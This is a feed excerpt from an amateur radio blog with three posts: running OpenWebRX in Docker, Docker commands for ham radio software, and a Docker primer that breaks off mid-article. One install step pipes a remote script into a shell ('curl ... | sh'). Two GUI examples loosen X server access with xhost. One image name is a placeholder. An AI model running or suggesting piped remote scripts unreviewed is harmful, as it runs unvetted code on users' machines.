		<category><![CDATA[amateur\_radio]]></category>
		<category><![CDATA[amatörradio]]></category>
		<category><![CDATA[amatorskie_radio]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockercompose]]></category>
		<category><![CDATA[dunia\_amator]]></category>
		<category><![CDATA[dunia\_radio]]></category>
		<category><![CDATA[dunia\_sdr]]></category>
		<category><![CDATA[dünya\_radyo]]></category>
		<category><![CDATA[global\_radio]]></category>
		<category><![CDATA[hamradio]]></category>
		<category><![CDATA[hobby_radio]]></category>
		<category><![CDATA[internet_radio]]></category>
		<category><![CDATA[komunikasi_radio]]></category>
		<category><![CDATA[malaysia_radio]]></category>
		<category><![CDATA[mjukvarudefinierad\_radio]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[online_receiver]]></category>
		<category><![CDATA[opensource\_sdr]]></category>
		<category><![CDATA[openwebrx]]></category>
		<category><![CDATA[pemantauan_radio]]></category>
		<category><![CDATA[penerima_sdr]]></category>
		<category><![CDATA[penerima_web]]></category>
		<category><![CDATA[perkakasan_radio]]></category>
		<category><![CDATA[radio]]></category>
		<category><![CDATA[radio_amatur]]></category>
		<category><![CDATA[radio_amatur_malaysia]]></category>
		<category><![CDATA[radio_atas_talian]]></category>
		<category><![CDATA[radio_hobi]]></category>
		<category><![CDATA[radio_malaysia]]></category>
		<category><![CDATA[radio_station]]></category>
		<category><![CDATA[rádio\_amador]]></category>
		<category><![CDATA[rádio\_amatérsky]]></category>
		<category><![CDATA[rádio\_definido]]></category>
		<category><![CDATA[rádio\_hobista]]></category>
		<category><![CDATA[rádio\_mundo]]></category>
		<category><![CDATA[radio\_programowe]]></category>
		<category><![CDATA[rádió\_softvér]]></category>
		<category><![CDATA[rádio\_software]]></category>
		<category><![CDATA[rádióamatér]]></category>
		<category><![CDATA[RadioAmateur]]></category>
		<category><![CDATA[radioamatør]]></category>
		<category><![CDATA[receiver]]></category>
		<category><![CDATA[rtl\_sdr]]></category>
		<category><![CDATA[sdr]]></category>
		<category><![CDATA[SoftwareDefinedRadio]]></category>
		<category><![CDATA[szoftverrádió]]></category>
		<category><![CDATA[világ\_rádió]]></category>
		<category><![CDATA[web_sdr]]></category>
		<category><![CDATA[yazılım\_tanımlı\_radyo]]></category>
		<category><![CDATA[интернет\_радио]]></category>
		<category><![CDATA[программное\_радио]]></category>
		<category><![CDATA[радиолюбитель]]></category>
		<category><![CDATA[рация]]></category>
		<category><![CDATA[רדיו_חובבים]]></category>
		<category><![CDATA[רדיו\_בהגדרת\_תוכנה]]></category>
		<category><![CDATA[برمجيات\_الراديو]]></category>
		<category><![CDATA[راديو\_الإنترنت]]></category>
		<category><![CDATA[راديو\_هواة]]></category>
		<category><![CDATA[راډیو]]></category>
		<category><![CDATA[شوقي\_راډیو]]></category>
		<category><![CDATA[ओपनवेबआरएक्स]]></category>
		<category><![CDATA[रेडियो]]></category>
		<category><![CDATA[रेडियो\_इंटरनेट]]></category>
		<category><![CDATA[रेडियो\_प्रेमी]]></category>
		<category><![CDATA[रेडियो\_सॉफ़्टवेयर]]></category>
		<category><![CDATA[शौकिया\_रेडियो]]></category>
		<category><![CDATA[ওপেনওয়েব\_আরএক্স]]></category>
		<category><![CDATA[ওপেনওয়েবআরএক্স]]></category>
		<category><![CDATA[রেডিও]]></category>
		<category><![CDATA[রেডিও\_অনলাইন]]></category>
		<category><![CDATA[রেডিও\_ওয়েব]]></category>
		<category><![CDATA[রেডিও\_শিক্ষা]]></category>
		<category><![CDATA[インターネットラジオ]]></category>
		<category><![CDATA[オープンウェブラジオ]]></category>
		<category><![CDATA[ハムラジオ]]></category>
		<category><![CDATA[世界のラジオ]]></category>
		<category><![CDATA[世界广播]]></category>
		<category><![CDATA[互联网收音机]]></category>
		<category><![CDATA[无线电]]></category>
		<category><![CDATA[无线电爱好者]]></category>
		<category><![CDATA[软件定义无线电]]></category>
		<category><![CDATA[세계\_라디오]]></category>
		<category><![CDATA[소프트웨어무전기]]></category>
		<category><![CDATA[오픈웹알엑스]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7919</guid>

					<description><![CDATA[<p>If you&#8217;re looking for a quick and clean way to get OpenWebRX running, Docker is a fantastic option—especially if you&#8217;re already familiar with containerized environments. Whether you&#8217;re setting up a software-defined radio (SDR) receiver on a desktop machine or a Raspberry Pi, using pre-built Docker images can save you a lot of time and hassle. [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/openwebrx-using-docker-on-raspberry-pi-and-other-devices/">OpenWebRX Using Docker on Raspberry Pi and Other Devices</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">If you&#8217;re looking for a quick and clean way to get OpenWebRX running, Docker is a fantastic option—especially if you&#8217;re already familiar with containerized environments. Whether you&#8217;re setting up a software-defined radio (SDR) receiver on a desktop machine or a Raspberry Pi, using pre-built Docker images can save you a lot of time and hassle.</p>



<h3 class="wp-block-heading">Why Docker?</h3>



<p class="wp-block-paragraph">Docker allows you to deploy software in isolated containers, complete with all their dependencies. This means you don’t need to worry about library conflicts, system packages, or compiling from source—just pull the image and run.</p>



<p class="wp-block-paragraph">The Docker images provided by <a href="https://hub.docker.com/u/jketterl">jketterl on Docker Hub</a> are built specifically for OpenWebRX and include all necessary requirements out of the box. Images are available for a range of hardware types, and there’s even a comprehensive “full” variant that supports multiple SDR devices.</p>



<p class="wp-block-paragraph">These images are built for multiple architectures:</p>



<ul class="wp-block-list">
<li><code>x86_64</code> (most desktops/laptops)</li>



<li><code>armv7l</code> and <code>aarch64</code> (perfect for Raspberry Pi and similar single-board computers)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Quick Start for Raspberry Pi</h3>



<p class="wp-block-paragraph">If you haven’t installed Docker yet, the easiest way is to run:</p>



<pre class="wp-block-code"><code>curl -sSL https://get.docker.com | sh
</code></pre>



<p class="wp-block-paragraph">Once Docker is installed, you’re just two commands away from getting OpenWebRX up and running:</p>



<pre class="wp-block-code"><code>docker volume create openwebrx-settings
docker run --device /dev/bus/usb -p 8073:8073 \
  -v openwebrx-settings:/var/lib/openwebrx \
  --tmpfs=/tmp/openwebrx \
  jketterl/openwebrx:stable
</code></pre>



<p class="wp-block-paragraph">This setup does the following:</p>



<ul class="wp-block-list">
<li>Maps USB access so your SDR hardware can be used inside the container</li>



<li>Creates a persistent volume for OpenWebRX settings</li>



<li>Offloads temporary files to memory (<code>tmpfs</code>) to reduce SD card wear, which is especially important on Raspberry Pi</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Docker Compose Option</h3>



<p class="wp-block-paragraph">If you prefer <code>docker-compose</code>, here’s a minimal <code>docker-compose.yml</code> setup:</p>



<pre class="wp-block-code"><code>version: "3"
services:
  openwebrx:
    image: jketterl/openwebrx:stable
    volumes:
      - ./openwebrx/settings:/var/lib/openwebrx
    ports:
      - "8073:8073"
    devices:
      - "/dev/bus/usb/002/002:/dev/bus/usb/002/002"
    tmpfs:
      - "/tmp/openwebrx"
</code></pre>



<p class="wp-block-paragraph">Make sure to adjust the USB device path according to your system. You can check your SDR device’s path using <code>lsusb</code> and <code>ls /dev/bus/usb</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Troubleshooting: USB Device Access</h3>



<p class="wp-block-paragraph">Some users run into issues when the SDR device cannot be accessed inside the Docker container. This usually shows up as an error like:</p>



<pre class="wp-block-code"><code>usb_claim_interface error -6
</code></pre>



<p class="wp-block-paragraph">This happens when the Linux kernel loads its own drivers for your SDR, preventing access from within Docker.</p>



<p class="wp-block-paragraph">To solve this, you’ll need to blacklist the appropriate kernel modules on your host system. Here&#8217;s a quick reference:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>SDR Device</th><th>Kernel Module(s) to Blacklist</th></tr></thead><tbody><tr><td>RTL-SDR</td><td><code>dvb_usb_rtl28xxu</code></td></tr><tr><td>SDRplay</td><td><code>sdr_msi3101</code>, <code>msi001</code>, <code>msi2500</code></td></tr><tr><td>HackRF</td><td><code>hackrf</code></td></tr></tbody></table></figure>



<h4 class="wp-block-heading">On Debian-based systems:</h4>



<p class="wp-block-paragraph">Create a file in <code>/etc/modprobe.d/</code>, such as <code>sdr-blacklist.conf</code>, and add lines like:</p>



<pre class="wp-block-code"><code>blacklist dvb_usb_rtl28xxu
</code></pre>



<p class="wp-block-paragraph">After that, run <code>sudo update-initramfs -u</code> and reboot your system to apply the changes.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Final Notes</h3>



<p class="wp-block-paragraph">This containerized approach to running OpenWebRX is efficient, maintainable, and easy to back up or migrate. It’s ideal for both newcomers and experienced users alike. The Docker images by <code>jketterl</code> are actively maintained and support a variety of SDR hardware, making them a solid choice for any SDR setup.</p>



<p class="wp-block-paragraph">If you&#8217;re looking to get your SDR receiver online with minimal configuration and maximum flexibility, this is the way to go. Visit <strong><a href="https://github.com/jketterl/openwebrx">https://github.com/jketterl/openwebrx</a></strong></p>
<p>The post <a href="https://hamradio.my/2025/06/openwebrx-using-docker-on-raspberry-pi-and-other-devices/">OpenWebRX Using Docker on Raspberry Pi and Other Devices</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/openwebrx-using-docker-on-raspberry-pi-and-other-devices/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Top Amateur Radio Software You Can Run Using Docker: Practical Examples</title>
		<link>https://hamradio.my/2025/06/top-amateur-radio-software-you-can-run-using-docker-practical-examples/</link>
					<comments>https://hamradio.my/2025/06/top-amateur-radio-software-you-can-run-using-docker-practical-examples/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sun, 08 Jun 2025 22:06:48 +0000</pubDate>
				<category><![CDATA[amateur radio]]></category>
		<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[free open source software]]></category>
		<category><![CDATA[APRS]]></category>
		<category><![CDATA[chirp]]></category>
		<category><![CDATA[Containerization]]></category>
		<category><![CDATA[digital modes]]></category>
		<category><![CDATA[digital radio]]></category>
		<category><![CDATA[digital voice]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[fldigi]]></category>
		<category><![CDATA[ft8]]></category>
		<category><![CDATA[ham radio]]></category>
		<category><![CDATA[ham radio software]]></category>
		<category><![CDATA[linux ham radio]]></category>
		<category><![CDATA[openwebrx]]></category>
		<category><![CDATA[packet radio]]></category>
		<category><![CDATA[pi-star]]></category>
		<category><![CDATA[radio programming]]></category>
		<category><![CDATA[software defined radio]]></category>
		<category><![CDATA[WSJT-X]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7476</guid>

					<description><![CDATA[<p>Amateur radio operators often use various software for digital modes, packet radio, SDR, logging, and hotspot management. Docker containers make installing and running these apps easier and more consistent, regardless of your OS or environment. Below is a curated list of top amateur radio software that either has official or community Docker images available — [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/top-amateur-radio-software-you-can-run-using-docker-practical-examples/">Top Amateur Radio Software You Can Run Using Docker: Practical Examples</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Amateur radio operators often use various software for digital modes, packet radio, SDR, logging, and hotspot management. Docker containers make installing and running these apps easier and more consistent, regardless of your OS or environment.</p>



<p class="wp-block-paragraph">Below is a curated list of <strong>top amateur radio software</strong> that either has official or community Docker images available — plus example commands so you can start using them immediately.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-1-dire-wolf-soundcard-ax-25-packet-tnc-amp-aprs">1. Dire Wolf – Soundcard AX.25 Packet TNC &amp; APRS</h2>



<p class="wp-block-paragraph"><strong>Purpose:</strong> Software TNC for packet radio and APRS with soundcard interface.</p>



<p class="wp-block-paragraph"><strong>Docker image:</strong> <code>w6rz/direwolf</code></p>



<p class="wp-block-paragraph"><strong>Run command example:</strong></p>



<pre class="wp-block-code"><code>docker pull w6rz/direwolf

docker run -it --rm \
  --device /dev/snd \
  --device /dev/ttyUSB0 \
  -v $HOME/direwolf:/root \
  w6rz/direwolf
</code></pre>



<ul class="wp-block-list">
<li>Mounts your local config directory.</li>



<li>Accesses sound and radio devices.</li>



<li>Configure <code>direwolf.conf</code> inside your <code>$HOME/direwolf</code> folder.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-2-openwebrx-web-based-sdr-receiver">2. OpenWebRX – Web-Based SDR Receiver</h2>



<p class="wp-block-paragraph"><strong>Purpose:</strong> Run a remote software-defined radio (SDR) accessible via web browser.</p>



<p class="wp-block-paragraph"><strong>Docker image:</strong> <code>cyoung/openwebrx</code></p>



<p class="wp-block-paragraph"><strong>Run command example:</strong></p>



<pre class="wp-block-code"><code>docker pull cyoung/openwebrx

docker run -d -p 8073:8073 cyoung/openwebrx
</code></pre>



<ul class="wp-block-list">
<li>Access the SDR web interface at <code>http://localhost:8073</code></li>



<li>Connect and listen from anywhere on your network.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-3-wsjt-x-ft8-and-other-weak-signal-digital-modes">3. WSJT-X – FT8 and Other Weak Signal Digital Modes</h2>



<p class="wp-block-paragraph"><strong>Purpose:</strong> Decode weak digital signals like FT8, JT65.</p>



<p class="wp-block-paragraph"><strong>Docker image:</strong> No official image, but community versions exist (e.g., <code>jks-prv/wsjtx</code>).</p>



<p class="wp-block-paragraph"><strong>Run command example:</strong></p>



<pre class="wp-block-code"><code>docker pull jks-prv/wsjtx

docker run -d -p 5900:5900 jks-prv/wsjtx
</code></pre>



<ul class="wp-block-list">
<li>Runs a VNC server on port 5900 to access the GUI.</li>



<li>Connect using a VNC client to <code>localhost:5900</code>.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-4-fldigi-multi-mode-digital-modem">4. Fldigi – Multi-Mode Digital Modem</h2>



<p class="wp-block-paragraph"><strong>Purpose:</strong> Supports many digital modes: PSK31, RTTY, MFSK, Olivia, and more.</p>



<p class="wp-block-paragraph"><strong>Docker image:</strong> Community-built images exist (e.g., <code>ka6sox/fldigi</code>).</p>



<p class="wp-block-paragraph"><strong>Run command example with X11 forwarding (Linux):</strong></p>



<pre class="wp-block-code"><code>xhost +local:docker

docker run -it --rm \
  -e DISPLAY=$DISPLAY \
  -v /tmp/.X11-unix:/tmp/.X11-unix \
  --device /dev/snd \
  ka6sox/fldigi
</code></pre>



<ul class="wp-block-list">
<li>Access GUI directly on your desktop.</li>



<li>Use sound devices for digital mode decoding.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-5-pi-star-digital-voice-hotspot-software-dmr-ysf-p25">5. Pi-Star – Digital Voice Hotspot Software (DMR, YSF, P25)</h2>



<p class="wp-block-paragraph"><strong>Purpose:</strong> Popular for managing digital voice hotspots.</p>



<p class="wp-block-paragraph"><strong>Docker image:</strong> Community image (e.g., <code>wm5d/pi-star</code>).</p>



<p class="wp-block-paragraph"><strong>Run command example:</strong></p>



<pre class="wp-block-code"><code>docker pull wm5d/pi-star

docker run -d -p 80:80 -p 22222:22222 wm5d/pi-star
</code></pre>



<ul class="wp-block-list">
<li>Access the Pi-Star dashboard via <code>http://localhost</code></li>



<li>Configure your digital voice hotspot remotely.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-6-chirp-radio-programming-software">6. Chirp – Radio Programming Software</h2>



<p class="wp-block-paragraph"><strong>Purpose:</strong> Program handheld radios easily.</p>



<p class="wp-block-paragraph"><strong>Docker image:</strong> Community images available.</p>



<p class="wp-block-paragraph"><strong>Run command example with GUI (X11 forwarding):</strong></p>



<pre class="wp-block-code"><code>xhost +local:docker

docker run -it --rm \
  -e DISPLAY=$DISPLAY \
  -v /tmp/.X11-unix:/tmp/.X11-unix \
  yourusername/chirp
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-bonus-managing-multiple-ham-radio-containers-with-docker-compose">Bonus: Managing Multiple Ham Radio Containers with Docker Compose</h2>



<p class="wp-block-paragraph">Create a <code>docker-compose.yml</code> file to run multiple services together (e.g., Dire Wolf and OpenWebRX):</p>



<pre class="wp-block-code"><code>version: '3'
services:
  direwolf:
    image: w6rz/direwolf
    devices:
      - /dev/snd
      - /dev/ttyUSB0
    volumes:
      - ./direwolf:/root
    stdin_open: true
    tty: true

  openwebrx:
    image: cyoung/openwebrx
    ports:
      - "8073:8073"
</code></pre>



<p class="wp-block-paragraph">Run all at once:</p>



<pre class="wp-block-code"><code>docker-compose up
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-summary-table-of-top-ham-radio-docker-containers">Summary Table of Top Ham Radio Docker Containers</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Software</th><th>Purpose</th><th>Docker Image</th><th>Example Run Command</th></tr></thead><tbody><tr><td>Dire Wolf</td><td>Packet radio / APRS TNC</td><td><code>w6rz/direwolf</code></td><td><code>docker run --device /dev/snd ... w6rz/direwolf</code></td></tr><tr><td>OpenWebRX</td><td>Remote SDR web interface</td><td><code>cyoung/openwebrx</code></td><td><code>docker run -d -p 8073:8073 cyoung/openwebrx</code></td></tr><tr><td>WSJT-X</td><td>FT8, JT65, etc.</td><td><code>jks-prv/wsjtx</code></td><td><code>docker run -d -p 5900:5900 jks-prv/wsjtx</code></td></tr><tr><td>Fldigi</td><td>Multi-mode digital modem</td><td><code>ka6sox/fldigi</code></td><td><code>docker run -e DISPLAY=$DISPLAY ... ka6sox/fldigi</code></td></tr><tr><td>Pi-Star</td><td>Digital voice hotspot</td><td><code>wm5d/pi-star</code></td><td><code>docker run -d -p 80:80 -p 22222:22222 wm5d/pi-star</code></td></tr><tr><td>Chirp</td><td>Radio programming</td><td>Community images</td><td><code>docker run -e DISPLAY=$DISPLAY yourusername/chirp</code></td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-final-thoughts">Final Thoughts</h2>



<p class="wp-block-paragraph">Running amateur radio software inside Docker containers lets you:</p>



<ul class="wp-block-list">
<li>Avoid complicated installations.</li>



<li>Run your apps anywhere without changes.</li>



<li>Experiment with new software without risk.</li>



<li>Easily manage dependencies and updates.</li>
</ul>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://hamradio.my/2025/06/top-amateur-radio-software-you-can-run-using-docker-practical-examples/">Top Amateur Radio Software You Can Run Using Docker: Practical Examples</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/top-amateur-radio-software-you-can-run-using-docker-practical-examples/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Docker: The Container Revolution That Changed Software Development Forever</title>
		<link>https://hamradio.my/2025/06/docker-the-container-revolution-that-changed-software-development-forever/</link>
					<comments>https://hamradio.my/2025/06/docker-the-container-revolution-that-changed-software-development-forever/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sat, 07 Jun 2025 22:02:07 +0000</pubDate>
				<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[free open source software]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[virtualization]]></category>
		<category><![CDATA[#CloudComputing]]></category>
		<category><![CDATA[#DevOps]]></category>
		<category><![CDATA[#Microservices]]></category>
		<category><![CDATA[#OpenSource]]></category>
		<category><![CDATA[#SoftwareDevelopment]]></category>
		<category><![CDATA[ci_cd]]></category>
		<category><![CDATA[containerdeployment]]></category>
		<category><![CDATA[Containerization]]></category>
		<category><![CDATA[containersecurity]]></category>
		<category><![CDATA[continuousintegration]]></category>
		<category><![CDATA[developertools]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockercompose]]></category>
		<category><![CDATA[dockerhub]]></category>
		<category><![CDATA[infrastructure]]></category>
		<category><![CDATA[kubernetes]]></category>
		<category><![CDATA[linuxcontainers]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[techinnovation]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7473</guid>

					<description><![CDATA[<p>In the landscape of modern software development and IT operations, Docker has emerged as a game-changer. Whether you’re a developer, system administrator, or a DevOps engineer, Docker empowers you to build, ship, and run applications seamlessly — across your laptop, on-premise servers, or the cloud. This blog post will dive deep into Docker’s origin, its [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/docker-the-container-revolution-that-changed-software-development-forever/">Docker: The Container Revolution That Changed Software Development Forever</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">In the landscape of modern software development and IT operations, <strong>Docker</strong> has emerged as a game-changer. Whether you’re a developer, system administrator, or a DevOps engineer, Docker empowers you to build, ship, and run applications seamlessly — across your laptop, on-premise servers, or the cloud. This blog post will dive deep into Docker’s origin, its practical uses, key commands you need to know, advantages, and provide a hands-on example to get you started.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-the-origin-and-history-of-docker">The Origin and History of Docker</h2>



<p class="wp-block-paragraph">Docker’s roots trace back to 2010 when a company named dotCloud, a platform-as-a-service (PaaS) provider, started experimenting with Linux container technology to better isolate and manage applications.</p>



<ul class="wp-block-list">
<li><strong>March 2013</strong>: Docker was launched as an open-source project by Solomon Hykes, the CTO of dotCloud.</li>



<li><strong>Why it stood out</strong>: Docker made Linux containers accessible to developers through simple commands, standard image formats, and tooling that abstracted away complex underlying tech like LXC, cgroups, and namespaces.</li>



<li><strong>Growth</strong>: Docker quickly captured the attention of the tech community and companies worldwide. It transformed from an internal tool to the foundation of a whole ecosystem involving container registries (Docker Hub), orchestration tools (Docker Swarm, Kubernetes), and developer workflows.</li>
</ul>



<p class="wp-block-paragraph">Today, Docker Inc. continues to innovate with products designed for enterprise container management, security, and cloud-native development.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-what-is-docker-and-why-should-you-care">What Is Docker and Why Should You Care?</h2>



<p class="wp-block-paragraph">At its core, Docker is a <strong>containerization platform</strong> that packages your application and all its dependencies — libraries, system tools, and settings — into a single container. This container can run consistently across any environment that supports Docker, eliminating the infamous “it works on my machine” problem.</p>



<h3 class="wp-block-heading" id="h-why-containers">Why containers?</h3>



<p class="wp-block-paragraph">Before containers, virtualization was the go-to method to isolate applications — think Virtual Machines (VMs). But VMs require a full guest OS, which consumes more disk space, memory, and CPU.</p>



<p class="wp-block-paragraph">Containers are lightweight:</p>



<ul class="wp-block-list">
<li>Share the host OS kernel.</li>



<li>Start almost instantly.</li>



<li>Require less storage.</li>
</ul>



<h3 class="wp-block-heading" id="h-use-cases-for-docker-include">Use cases for Docker include:</h3>



<ul class="wp-block-list">
<li><strong>Development environment standardization:</strong> Developers can replicate production environments on local machines.</li>



<li><strong>Microservices deployment:</strong> Each service runs in its own container, independently scalable and maintainable.</li>



<li><strong>CI/CD pipelines:</strong> Automate builds and tests in isolated containers.</li>



<li><strong>Legacy app modernization:</strong> Containerize old apps to run on modern infrastructure.</li>



<li><strong>Cloud migration:</strong> Easily move workloads across public clouds or hybrid setups.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-essential-docker-commands-you-must-know">Essential Docker Commands You Must Know</h2>



<p class="wp-block-paragraph">Here’s a handy list of Docker commands that cover basic to intermediate tasks:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Command</th><th>Description</th></tr></thead><tbody><tr><td><code>docker version</code></td><td>Show Docker client and server version</td></tr><tr><td><code>docker info</code></td><td>Display system-wide info about Docker</td></tr><tr><td><code>docker pull &lt;image&gt;</code></td><td>Download an image from Docker Hub or registry</td></tr><tr><td><code>docker images</code></td><td>List downloaded Docker images</td></tr><tr><td><code>docker run &lt;image&gt;</code></td><td>Run a container from an image</td></tr><tr><td><code>docker ps</code></td><td>List currently running containers</td></tr><tr><td><code>docker ps -a</code></td><td>List all containers, including stopped ones</td></tr><tr><td><code>docker stop &lt;container_id&gt;</code></td><td>Stop a running container</td></tr><tr><td><code>docker start &lt;container_id&gt;</code></td><td>Start a stopped container</td></tr><tr><td><code>docker rm &lt;container_id&gt;</code></td><td>Remove a container</td></tr><tr><td><code>docker rmi &lt;image&gt;</code></td><td>Remove a Docker image</td></tr><tr><td><code>docker logs &lt;container_id&gt;</code></td><td>View logs from a container</td></tr><tr><td><code>docker exec -it &lt;container_id&gt; /bin/bash</code></td><td>Access the shell inside a running container</td></tr><tr><td><code>docker build -t &lt;tag&gt; .</code></td><td>Build an image from a Dockerfile</td></tr><tr><td><code>docker-compose up</code></td><td>Start multi-container apps defined in a docker-compose.yml</td></tr><tr><td><code>docker-compose down</code></td><td>Stop and remove containers defined by docker-compose</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-advantages-of-using-docker">Advantages of Using Docker</h2>



<h3 class="wp-block-heading" id="h-1-portability-and-consistency">1. <strong>Portability and Consistency</strong></h3>



<p class="wp-block-paragraph">Docker containers encapsulate everything needed to run your app, ensuring consistent behavior across development, staging, and production — regardless of where the container runs.</p>



<h3 class="wp-block-heading" id="h-2-lightweight">2. <strong>Lightweight</strong></h3>



<p class="wp-block-paragraph">Containers share the OS kernel and don’t require running a full guest OS, saving CPU, memory, and storage compared to VMs.</p>



<h3 class="wp-block-heading" id="h-3-faster-deployment">3. <strong>Faster Deployment</strong></h3>



<p class="wp-block-paragraph">Containers start almost instantly (in seconds), accelerating development cycles and scaling capabilities.</p>



<h3 class="wp-block-heading" id="h-4-isolation-and-security">4. <strong>Isolation and Security</strong></h3>



<p class="wp-block-paragraph">Containers provide process-level isolation, which helps prevent conflicts between apps running on the same host.</p>



<h3 class="wp-block-heading" id="h-5-simplified-dependency-management">5. <strong>Simplified Dependency Management</strong></h3>



<p class="wp-block-paragraph">No need to install or configure software dependencies on your host; they’re baked into the container image.</p>



<h3 class="wp-block-heading" id="h-6-vibrant-ecosystem">6. <strong>Vibrant Ecosystem</strong></h3>



<p class="wp-block-paragraph">With Docker Hub, users have access to thousands of ready-to-use container images. The active community continually develops tools and resources.</p>



<h3 class="wp-block-heading" id="h-7-improved-resource-utilization">7. <strong>Improved Resource Utilization</strong></h3>



<p class="wp-block-paragraph">Multiple containers can run efficiently on a single host, making better use of hardware resources.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-a-simple-docker-example-running-a-hello-world-web-server">A Simple Docker Example: Running a Hello World Web Server</h2>



<p class="wp-block-paragraph">Let’s walk through a practical example so you can experience Docker firsthand.</p>



<h3 class="wp-block-heading" id="h-step-1-install-docker">Step 1: Install Docker</h3>



<p class="wp-block-paragraph">Make sure Docker is installed on your system. You can find official installation guides on <a href="https://docs.docker.com/get-docker/">docker.com</a>.</p>



<h3 class="wp-block-heading" id="h-step-2-run-a-prebuilt-web-server-container">Step 2: Run a prebuilt web server container</h3>



<p class="wp-block-paragraph">Open your terminal and run:</p>



<pre class="wp-block-code"><code>docker run -d -p 8080:80 --name hello-web nginx
</code></pre>



<p class="wp-block-paragraph">What this does:</p>



<ul class="wp-block-list">
<li><code>docker run</code> — Run a container.</li>



<li><code>-d</code> — Detached mode (runs container in the background).</li>



<li><code>-p 8080:80</code> — Map port 8080 on your host to port 80 in the container.</li>



<li><code>--name hello-web</code> — Assign a name to the container.</li>



<li><code>nginx</code> — Use the official nginx web server image from Docker Hub.</li>
</ul>



<h3 class="wp-block-heading" id="h-step-3-access-your-web-server">Step 3: Access your web server</h3>



<p class="wp-block-paragraph">Open your browser and navigate to <code>http://localhost:8080</code>. You should see the default <strong>Nginx</strong> welcome page, meaning your container is up and running.</p>



<h3 class="wp-block-heading" id="h-step-4-inspect-the-container">Step 4: Inspect the container</h3>



<p class="wp-block-paragraph">Check running containers:</p>



<pre class="wp-block-code"><code>docker ps
</code></pre>



<p class="wp-block-paragraph">View container logs:</p>



<pre class="wp-block-code"><code>docker logs hello-web
</code></pre>



<p class="wp-block-paragraph">Access the container shell:</p>



<pre class="wp-block-code"><code>docker exec -it hello-web /bin/bash
</code></pre>



<p class="wp-block-paragraph">Inside, you can browse files, for example:</p>



<pre class="wp-block-code"><code>cat /usr/share/nginx/html/index.html
</code></pre>



<h3 class="wp-block-heading" id="h-step-5-stop-and-remove-the-container">Step 5: Stop and remove the container</h3>


